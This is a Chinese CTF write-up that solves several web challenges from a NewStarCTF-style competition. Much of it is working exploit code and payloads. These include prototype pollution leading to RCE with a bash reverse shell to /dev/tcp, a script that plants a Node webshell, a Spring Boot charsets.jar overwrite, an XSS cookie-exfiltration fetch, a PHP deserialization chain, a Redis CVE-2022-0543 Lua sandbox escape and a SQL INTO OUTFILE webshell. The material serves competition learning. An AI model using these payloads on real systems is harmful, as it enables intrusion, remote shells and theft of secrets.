1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // /util/merge.js function merge(target, source) { if (!isObject(target) || !isObject(source)) { return target; } for (let key in source) { if (key === "__proto__") continue; if (source[key] === "") continue; if (isObject(source[key]) && key in target) { target[key] = merge(target[key], source[key]); } else { target[key] = source[key]; } } return target; }
/process路由调用了 fork,创建了一个 JavaScript 子进程用于水印添加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 try { await new Promise((resolve, reject) => { // 这里喵 const proc = fork(PhotoProcessScript, [userDir], { silent: true }); proc.on("close", (code) => { if (code === 0) { resolve("success"); } else { reject(new Error("An error occurred during execution")); } }); proc.on("error", (err) => { reject(new Error(`Failed to start subprocess: ${err.message}`)); }); }); ctx.body = { code: 1, msg: "Photos processed successfully", }; } catch (error) { ctx.body = { code: 0, msg: "some error occurred", }; }
结合之前的原型链污染漏洞,我们污染 NODE_OPTIONS
和 env
,在 env
中写入恶意代码,fork在创建子进程时就会首先加载恶意代码,从而实现 RCE
1 2 3 4 5 6 7 8 9 10 11 payload = { "constructor": { "prototype": { "NODE_OPTIONS": "--require /proc/self/environ", "env": { "A":"require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//" } } } } # 需要注意在 Payload 最后面有注释符 `//`,这里的思路跟 SQL 注入很像
但是出不了网,有两种方法
方法一:覆盖static/script.js exp:
1 {"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\"child_process\").execSync(\"cp /flag static/script.js\").toString())//"}}}}
方法二:热部署 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import requests import re import base64 from time import sleep url = "http://192.168.0.115:11417/" # 获取 token # 随便发送点图片获取 token files = [ ('images', ('anno.png', open('./a.png', 'rb'), 'image/png')), ('images', ('soyo.png', open('./b.png', 'rb'), 'image/png')) ] res = requests.post(url + "/upload", files=files) token = res.headers.get('Set-Cookie') match = re.search(r'token=([a-f0-9\-\.]+)', token) if match: token = match.group(1) print(f"[+] token: {token}") headers = { 'Cookie': f'token={token}' } # 通过原型链污染 env 注入恶意代码即可 RCE # 写入 WebShell webshell = """ const Koa = require('koa') const Router = require('koa-router') const app = new Koa() const router = new Router() router.get("/webshell", async (ctx) => { const {cmd} = ctx.query res = require('child_process').execSync(cmd).toString() return ctx.body = { res } }) app.use(router.routes()) app.listen(3000, () => { console.log('http://127.0.0.1:3000') }) """ # 将 WebShell 内容 Base64 编码 encoded_webshell = base64.b64encode(webshell.encode()).decode() # Base64 解码后写入文件 payload = { "constructor": { "prototype": { "NODE_OPTIONS": "--require /proc/self/environ", "env": { "A": f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//" } } } } # 原型链污染 requests.post(url + "/config", json=payload, headers=headers) # 触发 fork 实现 RCE try: requests.post(url + "/process", headers=headers) except Exception as e: pass sleep(2) # 访问有回显的 WebShell res = requests.get(url + "/webshell?cmd=cat /flag") print(res.text)
运行得到
最后flag为
1 flag{NEWst@r-CTf_2OZA111b69be86c5}
ezcmsss 题目描述:
开启环境
在首页源码里找到提示,需要查看备份文件
访问 /www.zip获得源码备份文件,在 readme.txt获得jizhicms 版本号为 v1.9.5,在 start.sh 获得服务器初始化时使用的管理员账号和密码
同时在 start.sh 中有备注提示访问 admin.php进入管理页面,然后使用上面的账号密码登录
在 栏目管理 » 栏目列表 » 新增栏目 中添加附件,上传构造好的包含 PHP 马的压缩包
上传在图库管理 找到路径
1 /static/upload/file/20250611/1749647172696720.zip
参考这篇文章
极致CMS后台远程文件下载RCE漏洞源码审计分析 - FreeBuf网络安全行业门户
下载恶意的插件包
1 action=start-download&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/file/20250611/1749647172696720.zip
解压数据包
1 action=file-upzip&filepath=dbrestore
解压完的文件在 /A/exts
访问 /A/exts/shell.php
最后flag为
1 flag{N3Wst@r_ctf_Z0Z417b6f1bff5e2}
chocolate 题目描述:
开启环境
随便输入得到
访问/0ldStar.php
八进制绕过检测,过滤了十六进制的字母以及小数的小数点
payload:
得到可可液块配量
把那串字符放进随波逐流一把梭
访问/cocoaButter_star.php
第一步一眼md5强碰撞
payload:
1 2 cat=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 dog=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第二步科学计数法以及md5弱比较绕过
第三步:要求 md5 加密后前五位符合要求,简单爆破
exp:
1 2 3 4 5 6 7 8 import hashlib for i in range(0, 10000000): m = hashlib.md5() m.update(str(i).encode('utf-8')) if m.hexdigest()[0:5] == '8031b': print(i) break
运行得到
payload:
得到可可脂配量
访问/final.php
直接传序列化后的内容,让 $cat===$kitty 即可
payload:
1 O:9:"chocolate":2:{s:3:"cat";s:3:"???";s:5:"kitty";s:3:"???";}
得到黑可可粉配量
没有下一步的目录了,返回就差糖分配量,先锁定范围
看出来配量是一点点递减的,首先测试糖分是5000
糖分太高,说明在1-5000范围内,直接爆破
最后flag为
1 flag{nEWsT@r_CTF_ZO2A35d8f8a6c1f4}
隐藏的密码 题目描述:
1 caef11 有一个自己的文件备份平台,但是平台的密码似乎在哪里泄露了……你能找到他吗?
开启环境
根据题目隐藏的密码可能是存在信息泄露,进行目录扫描,可以扫到 env和 jolokia端点,可以找到 caef11.passwd 属性是隐藏的
payload:
1 2 3 4 POST /actuator/jolokia HTTP/1.1 Content-Type: application/json {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["caef11.passwd"]}
得到密码,登录
参考项目
LandGrey/spring-boot-upload-file-lead-to-rce-tricks: spring boot Fat Jar 任意写文件漏洞到稳定 RCE 利用技巧
搜索java的路径,这里刚好可以ls列目录
1 2 3 /usr/lib/jvm/java-8-oracle/jre/lib/ /usr/lib/jvm/java-1.8-openjdk/jre/lib/ /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/
上传charset.jar
重写IBM33722.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package sun.nio.cs.ext; import java.util.UUID; public class IBM33722 { static { fun(); } public IBM33722() { fun(); } private static java.util.HashMap<String, String> fun() { String[] command; String random = UUID.randomUUID().toString().replace("-","").substring(1,9); String osName = System.getProperty("os.name"); if (osName.startsWith("Mac OS")) { command = new String[]{"/bin/bash", "-c", "open -a Calculator"}; } else if (osName.startsWith("Windows")) { command = new String[]{"cmd.exe", "/c", "calc"}; } else { if(new java.io.File("/bin/bash").exists()){ command = new String[]{"/bin/bash", "-c", "touch " + "/tmp/$({echo,Y2F0IC9mbGFnCg==}|{base64,-d}|{bash,-i})"}; }else{ command = new String[]{"/bin/sh", "-c", "touch " + "/tmp/$({echo,Y2F0IC9mbGFnCg==}|{base64,-d}|{bash,-i})"}; } } try{ java.lang.Runtime.getRuntime().exec(command); java.lang.Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "touch " + "/tmp/charset_testErr0r233.log"}); }catch (Throwable e1){ e1.printStackTrace(); } return null; } }
全编译完了塞jar包里
1 2 javac sun\nio\cs\ext\*.java jar cvf charsets.jar *
第一个包去覆盖,第二个包去触发
触发
1 Accept: text/html;charset=GBK
查看 /tmp 目录得到flag
为了省事直接写脚本了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requests def upload_jar(): url = 'http://192.168.0.115:11452/upload' with open('charsets.jar', 'rb') as f: files = {'file': ('../../usr/local/openjdk-8/jre/lib/charsets.jar', f, 'application/java-archive')} response = requests.post(url, files=files) print(response.status_code) print(response.text) url2 = 'http://192.168.0.115:11452/ccd14bfa-33a9-328e-85ad-f5bb028f4d4c' headers = {'Accept': 'text/html;charset=GBK'} response2 = requests.get(url2, headers=headers) print(response2.status_code) print(response2.text) upload_jar()
运行看到文件上传并触发
然后查看 /tmp 目录得到flag
最后flag为
1 flag{d3350ef4-3b91-40e6-9d6a-2f0c8d33193e}
PangBai 过家家(4) 题目描述:
1 PangBai 出院有一些日子了,加上住院期间经常看 MyGO!!!!! 的缘故,这些天来他心情比较低落,但今天已经能正常打 GoGo 了,看起来和她所说的一样,她是「高性能」的呢!可是我买菜回来时却看到她倒在地上,眉毛的样子像两个大括号,左眼呈现出「.User」,而右眼则是「PangBai」。
根据题目附件所给的 hint,只需关注 main.go
文件即可,文件中定义了一个静态文件路由和三个路由:
1 2 3 r.HandleFunc("/", routeIndex) r.HandleFunc("/eye", routeEye) r.HandleFunc("/favorite", routeFavorite)
在 main.go
的 routeEye
函数中发现了 tmpl.Execute
函数,通过分析,我们重点关注下面的代码片段:
1 2 3 4 5 tmplStr := strings.Replace(string(content), "%s", input, -1) tmpl, err := template.New("eye").Parse(tmplStr) helper := Helper{User: user, Config: config} err = tmpl.Execute(w, helper)
我们的输入 input
会直接作为模板字符串的一部分,与 Python 的 SSTI 类似,我们可以使用 {{` `}}
来获取上下文中的数据。
1 2 3 4 5 GoLang 模板中的上下文 tmpl.Execute 函数用于将 tmpl 对象中的模板字符串进行渲染,第一个参数传入的是一个 Writer 对象,后面是一个上下文,在模板字符串中,可以使用 {{ . }} 获取整个上下文,或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数,也支持 {{ .Func "param" }} 的方式传入变量。并且还支持管道符运算。 在本题中,由于 utils.go 定义的 Stringer 对象中的 String 方法,对继承他的每一个 struct,在转换为字符串时都会返回 [struct],所以直接使用 {{ . }} 返回全局的上下文结构会返回 [struct].
访问 /eye
路由,默认就是 {{ .User }}
和返回的信息。根据上面代码片段的内容,我们追溯 Helper
和 Config
两个结构体的结构:
1 2 3 4 5 6 7 8 9 10 11 type Helper struct { Stringer User string Config Config } var config = Config{ Name: "PangBai 过家家 (4)", JwtKey: RandString(64), SignaturePath: "./sign.txt", }
可以泄露出 JWT 的密钥,只需输入 {{ .Config.JwtKey }}
即可:
然后我们关注另一个路由 /favorite
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 func routeFavorite(w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodPut { // ensure only localhost can access requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")] fmt.Println("Request IP:", requestIP) if requestIP != "127.0.0.1" && requestIP != "[::1]" { w.WriteHeader(http.StatusForbidden) w.Write([]byte("Only localhost can access")) return } token, _ := r.Cookie("token") o, err := validateJwt(token.Value) if err != nil { w.Write([]byte(err.Error())) return } if o.Name == "PangBai" { w.WriteHeader(http.StatusAccepted) w.Write([]byte("Hello, PangBai!")) return } if o.Name != "Papa" { w.WriteHeader(http.StatusForbidden) w.Write([]byte("You cannot access!")) return } body, err := ioutil.ReadAll(r.Body) if err != nil { http.Error(w, "error", http.StatusInternalServerError) } config.SignaturePath = string(body) w.WriteHeader(http.StatusOK) w.Write([]byte("ok")) return } // render tmpl, err := template.ParseFiles("views/favorite.html") if err != nil { http.Error(w, "error", http.StatusInternalServerError) return } sig, err := ioutil.ReadFile(config.SignaturePath) if err != nil { http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError) return } err = tmpl.Execute(w, string(sig)) if err != nil { http.Error(w, "[error]", http.StatusInternalServerError) return } }
可以看到 /favorite
路由下,网页右下角的内容实际上是一个文件读的结果,文件路径默认为 config.SignaturePath
即 ./sign.txt
的内容
而如果使用 PUT 请求,则可以修改 config.SignaturePath
的值,但需要携带使 Name
(Token 对象中是 Name
字段,但是 JWT 对象中是 user
字段,可以在 utils.go
中的 validateJwt
函数中看到)为 Papa
的 JWT Cookie.
于是就有了解题思路:利用泄露的 JwtKey
伪造 Cookie,对 /favorite
发起 PUT 请求以修改 config.SignaturePath
,然后访问 /favorite
获取文件读的内容。
然而 /favorite
中又强制要求请求必须来自于本地。
我们先签一个 JWT:
name值为Papa,密钥是之前的w9pWNmxB2nP4EUMCo8KklLowDyJZLG75s0WHzNBNcDdBEbkFMuDZ4xsp6W5mg3ZH
发送报文
1 2 3 4 5 6 7 PUT /favorite HTTP/1.1 Host: localhost:8000 Content-Type: text/plain Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDk2NTg2MjQsInVzZXIiOiJQYXBhIn0.L630bhzlUic7G6g2TIGx410SAwoqgfWM4nVxQsvzCZg Content-Length: 18 /proc/self/environ
显示ok
重新访问/favorite
最后flag为
1 flag{c7490012-fa93-3f90-b590-1ec84cc76416}
week5 PangBai 过家家(5) 题目描述:
1 量子之海出现了异常观测现象,博识学会评估,可能另一世界产生的崩坏能超过阈值,并极有可能溢出从而影响到其它世界。为了防止天使坠落,维斯达利斯通知学园都市立即召回所有对抗崩环能的第三批实验仿生对象。我的上级也立即召我回国,为第二十九次秩序大战做准备。尽管上级也支持我携带 PangBai 一同回归,但近些天来,我发觉 PangBai 突然变得沉默寡言,夜晚身体也发出微弱的光,若隐若现。事态的紧急使我已经无法顾及。长期以来的经验令我敏锐地感觉到,PangBai 或将成为这次崩坏能溢出引发的一系列事件中的主角。但我仍对与她的告别——也许是短暂的,抑或是永远,谁能预料呢——持乐观态度,毕竟没有人能够阻止这类事的发生,除非同谐能瞥见虚数之树下的她的掠影。只是这周结束后,不知多久才能与曾经的梦魇重逢。
开启环境
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import puppeteer from 'puppeteer'; let id = 0; async function _visit(url: string) { console.info(`[#${++id}] Received bot request`); const browser = await puppeteer.launch({ headless: true, args: [ '--disable-gpu', "--no-sandbox", '--disable-dev-shm-usage' ] }); const page = await browser.newPage(); await page.setCookie({ name: 'FLAG', value: process.env['FLAG'] || 'flag{test_flag}', httpOnly: false, path: '/', domain: 'localhost:3000', sameSite: 'Strict' }); console.info(`[#${id}] Visiting ${url}`); page.goto(url, { timeout: 3 * 1000 }).then(_ => { setTimeout(async () => { await page.close(); await browser.close(); console.info(`[#${id}] Visited`); }, 5 * 1000); }) } export function visit(url: string) { return _visit(url).then(_ => true).catch(e => (console.error(e), false)); } export default visit;
一眼xss
1 <img src=# onerror=alert(1);//
可以绕过,不出网xss
自己post自己去写一封信
1 <img src=# onerror=fetch("/api/send",{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({"title":"123123123","content":document.cookie})});//
上传后发现信箱有信封了
查看123123123信封得到flag
预期做法应该是
从 bot.ts
可见,FLAG 在 Cookie 中:
1 2 3 4 5 6 7 8 await page.setCookie({ name: "FLAG", value: process.env["FLAG"] || "flag{test_flag}", httpOnly: false, path: "/", domain: "localhost:3000", sameSite: "Strict", });
我们直接输入 <script>alert(1)</script>
做测试,访问查看信件的界面,查看源码,发现输入被过滤了。
跟踪附件中的后端源码,page.ts
中的 /box/:id
路由,会渲染我们的输入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 router.get("/box/:id", async (ctx, next) => { const letter = Memory.get(ctx.params["id"]); await ctx.render("letter", <TmplProps>{ page_title: "PangBai 过家家 (5)", sub_title: "查看信件", id: ctx.params["id"], hint_text: HINT_LETTERS[Math.floor(Math.random() * HINT_LETTERS.length)], data: letter ? { title: safe_html(letter.title), content: safe_html(letter.content), } : { title: TITLE_EMPTY, content: CONTENT_EMPTY }, error: letter ? null : "找不到该信件", }); });
但是输入的内容都经过了 safe_html
过滤
1 2 3 4 5 6 function safe_html(str: string) { return str .replace(/<.*>/gim, "") .replace(/<\.*>/gim, "") .replace(/<.*>.*<\/.*>/gim, ""); }
可见这只是一个正则替换,正则中各个标志的作用:
i
标志:忽略大小写
g
标志:全局匹配,找到所有符合条件的内容
m
标志:多行匹配,每次匹配时按行进行匹配,而不是对整个字符串进行匹配(与之对应的是 s
标志,表示单行模式,将换行符看作字符串中的普通字符)
由于 m
的存在,匹配开始为行首,匹配结束为行尾,因此我们只需要把 <
和 >
放在不同行即可,例如:
1 <script>alert(1)</script>
此时我们就能执行恶意代码了。直接使用 document.cookie
即可获取到 Bot 的 Cookie。 拿到 Cookie 之后,怎么回显呢?如果题目靶机是出网的,可以发送到自己的服务器上面;但是题目靶机并不出网,这时可以写一个 JavaScript 代码,模拟用户操作,将 Cookie 作为一个信件的内容提交(让 Bot 写信),这样我们就能查看到了。例如:
1 2 3 4 5 6 7 8 9 <script > fetch('/api/send', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({'title': "Cookie", 'content': document.cookie}) }) </script >
注意
1 2 3 fetch 中的请求路径可以是相对路径、绝对路径等,因此上面忽略了 Origin,如果显示指定,必须和当前的 Origin 一样,否则存在跨域问题。从 bot.ts 中可以看到 Bot 访问的是 http://localhost:3000,因此使用 http://127.0.0.1:3000 是不行的。 把 Payload 提交之后,如果手动查看信件并点击「提醒 PangBai」,会触发两次 Payload,一次是你自己查看信件时触发的,一次是 Bot 触发的。
提交并「提醒 PangBai」之后,稍等一会,查看信箱,就可以看到内容了
最后flag为
1 flag{s@y0N@ra_pangB@i_J4nN235446596}
臭皮吹泡泡 题目描述:
开启环境
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php error_reporting(0); highlight_file(__FILE__); class study { public $study; public function __destruct() { if ($this->study == "happy") { echo ($this->study); } } } class ctf { public $ctf; public function __tostring() { if ($this->ctf === "phpinfo") { die("u can't do this!!!!!!!"); } ($this->ctf)(1); return "can can need"; } } class let_me { public $let_me; public $time; public function get_flag() { $runcode="<?php #".$this->let_me."?>"; $tmpfile="code.php"; try { file_put_contents($tmpfile,$runcode); echo ("we need more".$this->time); unlink($tmpfile); }catch (Exception $e){ return "no!"; } } public function __destruct(){ echo "study ctf let me happy"; } } class happy { public $sign_in; public function __wakeup() { $str = "sign in ".$this->sign_in." here"; return $str; } } $signin = $_GET['new_star[ctf']; if ($signin) { $signin = base64_decode($signin); unserialize($signin); }else{ echo "你是真正的CTF New Star 吗? 让我看看你的能力"; } 你是真正的CTF New Star 吗? 让我看看你的能力
在unlink之前触发catch异常防止删掉code.php
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php class study { public $study; public function __destruct() { if ($this->study == "happy") { echo ($this->study); } } } class ctf { public $ctf = "system('ls');"; public function __tostring() { if ($this->ctf === "phpinfo") { die("u can't do this!!!!!!!"); } ($this->ctf)(1); return "can can need"; } } class let_me { public $let_me; public $time; public function get_flag() { $runcode="<?php #".$this->let_me."?>"; $tmpfile="code.php"; try { file_put_contents($tmpfile,$runcode); echo ("we need more".$this->time); unlink($tmpfile); }catch (Exception $e){ return "no!"; } } public function __destruct(){ echo "study ctf let me happy"; } } class happy { public $sign_in; public function __wakeup() { $str = "sign in ".$this->sign_in." here"; return $str; } } $l = new let_me(); $c = new ctf(); $h = new happy(); $s = new study(); $l->let_me = "\n system('ls /');"; $l->time = $h; $c->ctf = [$l, 'get_flag']; $s->study = $c; echo base64_encode(serialize($s));
运行得到
查看文件根目录
payload:
1 new[star[ctf=Tzo1OiJzdHVkeSI6MTp7czo1OiJzdHVkeSI7TzozOiJjdGYiOjE6e3M6MzoiY3RmIjthOjI6e2k6MDtPOjY6ImxldF9tZSI6Mjp7czo2OiJsZXRfbWUiO3M6MTc6Igogc3lzdGVtKCdscyAvJyk7IjtzOjQ6InRpbWUiO086NToiaGFwcHkiOjE6e3M6Nzoic2lnbl9pbiI7Tjt9fWk6MTtzOjg6ImdldF9mbGFnIjt9fX0=
查看flag
payload:
1 new[star[ctf=Tzo1OiJzdHVkeSI6MTp7czo1OiJzdHVkeSI7TzozOiJjdGYiOjE6e3M6MzoiY3RmIjthOjI6e2k6MDtPOjY6ImxldF9tZSI6Mjp7czo2OiJsZXRfbWUiO3M6MjI6Igogc3lzdGVtKCd0YWMgL2ZsYWcnKTsiO3M6NDoidGltZSI7Tzo1OiJoYXBweSI6MTp7czo3OiJzaWduX2luIjtOO319aToxO3M6ODoiZ2V0X2ZsYWciO319fQ==
最后flag为
1 flag{nEw5t4R-ctF_20Z418730145b3a8}
臭皮的网站 题目描述:
1 2 3 4 5 6 7 8 9 10 11 我写了 114 年 Python 😭 构建了 510 个网站😭 怎生的他这一个漏洞?😭 不,不不😭😭 那个网站我不要了……不要了……😭😭😭 你们别打……都别打了!😭😭😭😭😭
开启环境
查看网页源码
base解密
远程目录穿越读 /static/../../app/app.py
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 import subprocess from aiohttp import web from aiohttp_session import setup as session_setup, get_session from aiohttp_session.cookie_storage import EncryptedCookieStorage import os import uuid import secrets import random import string import base64 random.seed(uuid.getnode()) # pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp_session cryptography # pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp==3.9.1 adminname = "admin" def CreteKey(): key_bytes = secrets.token_bytes(32) key_str = base64.urlsafe_b64encode(key_bytes).decode('ascii') return key_str def authenticate(username, password): if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)): return True else: return False async def middleware(app, handler): async def middleware_handler(request): try: response = await handler(request) response.headers['Server'] = 'nginx/114.5.14' return response except web.HTTPNotFound: response = await handler_404(request) response.headers['Server'] = 'nginx/114.5.14' return response except Exception: response = await handler_500(request) response.headers['Server'] = 'nginx/114.5.14' return response return middleware_handler async def handler_404(request): return web.FileResponse('./template/404.html', status=404) async def handler_500(request): return web.FileResponse('./template/500.html', status=500) async def index(request): return web.FileResponse('./template/index.html') async def login(request): data = await request.post() username = data['username'] password = data['password'] if authenticate(username, password): session = await get_session(request) session['user'] = 'admin' response = web.HTTPFound('/home') response.session = session return response else: return web.Response(text="账号或密码错误哦", status=200) async def home(request): session = await get_session(request) user = session.get('user') if user == 'admin': return web.FileResponse('./template/home.html') else: return web.HTTPFound('/') async def upload(request): session = await get_session(request) user = session.get('user') if user == 'admin': reader = await request.multipart() file = await reader.next() if file: filename = './static/' + file.filename with open(filename,'wb') as f: while True: chunk = await file.read_chunk() if not chunk: break f.write(chunk) return web.HTTPFound("/list") else: response = web.HTTPFound('/home') return response else: return web.HTTPFound('/') async def ListFile(request): session = await get_session(request) user = session.get('user') command = "ls ./static" if user == 'admin': result = subprocess.run(command, shell=True, check=True, text=True, capture_output=True) files_list = result.stdout return web.Response(text="static目录下存在文件\n"+files_list) else: return web.HTTPFound('/') async def init_app(): app = web.Application() app.router.add_static('/static/', './static', follow_symlinks=True) session_setup(app, EncryptedCookieStorage(secret_key=CreteKey())) app.middlewares.append(middleware) app.router.add_route('GET', '/', index) app.router.add_route('POST', '/', login) app.router.add_route('GET', '/home', home) app.router.add_route('POST', '/upload', upload) app.router.add_route('GET', '/list', ListFile) return app web.run_app(init_app(), host='0.0.0.0', port=80)
密码是随机的 8 位字符,用户名是 admin
代码审计,注意到这个密码其实是可以预测的,因为它的随机数种子来自于 mac 地址
读取 mac 地址
1 /static/../../sys/class/net/eth0/address
生成登录密码
exp:
1 2 3 4 import random import string random.seed(0x56c14cbab828) print(''.join(random.choices(string.ascii_letters + string.digits, k=8)))
运行得到
登录系统
上传一个恶意的 ls
文件,然后访问 ls
,触发这个恶意文件。
放行bp,得到文件名
读取 flag
最后flag为
1 flag{046b8aa8-715a-5d3a-822b-14e16fddf900}
ez_redis 题目描述:
开启环境
dirseach扫描
访问/www.zip
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php include_once "./core.php"; ?> <html> <head></head> <link rel="stylesheet" href="/static/bulma.min.css" /> <body> <div class="container card"> <div class="card-content"> <div class="columns"> <div class="column is-10"> <h1 class="title">Redis便携控制面板1.0</h1> <form method="post"> <div class="field"> <label class="label">命令</label> <div class="control"> <textarea class="textarea" name="eval"><?=isset($_POST['eval'])?$_POST['eval']:'return "newstar is u";'?></textarea> <div class="control"> <input class="button is-success" type="submit" value="submit"> </div> </form> <?php if(isset($_POST['eval'])){ $cmd = $_POST['eval']; if(preg_match("/set|php/i",$cmd)) { $cmd = 'return "u are not newstar";'; } $example = new Redis(); $example->connect($REDIS_HOST); $result = json_encode($example->eval($cmd)); echo '<h1 class="subtitle">结果</h1>'; echo "<pre>$result</pre>"; } ?> </div> </div> <br/> <div class="container card"> <div class="card-content"> <div class="columns"> <div class="column is-10"><a href="Redis_php.zip" class="card-footer-item">由Redis5强力驱动 by Zacarx</a></div> </div> <div class="content"> <ul> <?php for($i=0; $i<$_SESSION['history_cnt']; $i++){ echo "<li>".$_SESSION['history_'.$i]."</li>"; } ?> </ul> </div> </div> </div> </div> </body> </html>
搜索 Redis 常⽤利⽤⽅法,发现如果过滤了 set
php
,那么我们很难通过写 webshell,写⼊计划任务、主从复制来进行 getshell
于是我们搜索⼀下 Redis 5 的历史漏洞
发现 CVE-2022-0543 值得⼀试: Redis Lua 沙盒绕过命令执行(CVE-2022-0543)
payload:
1 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
由于我们⽹站执⾏的是 redis 命令
于是去掉外⾯的 eval 即可
1 local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /flag", "r"); local res = f:read("*a"); f:close(); return res
最后flag为
1 flag{N3w5T@R_cTf_ZOZ4377957dbf0fc}
sqlshell 题目描述:
1 这次我不把 flag 放在数据库,看你们怎么办 ^ ^
开启环境
通过注入 SQL 语句,进行写文件,写一个木马到网站根目录(/var/www/html
)下即可
打rce拿到flag
payload:
1 2 3 alice' union select 1,'<?php eval($_POST[1]);?>',3 INTO OUTFILE '/var/www/html/nb.php'# 1=system('cat /you_cannot_read_the_flag_directly');
也可以写脚本
exp:
1 2 3 4 5 6 7 8 9 import requests url = 'http://192.168.0.115:3363/' payload = '\' || 1 union select 1,2,"<?php eval($_GET[1]);" into outfile \'/var/www/html/3.php\'#' res = requests.get(url,params={'student_name': payload}) res = requests.get(f'{url}/3.php', params={'1': 'system("cat /you_cannot_read_the_flag_directly");'}) print(res.text)
最后flag为
1 flag{e5d2e33e-6ddb-700a-879a-d5c361d78203}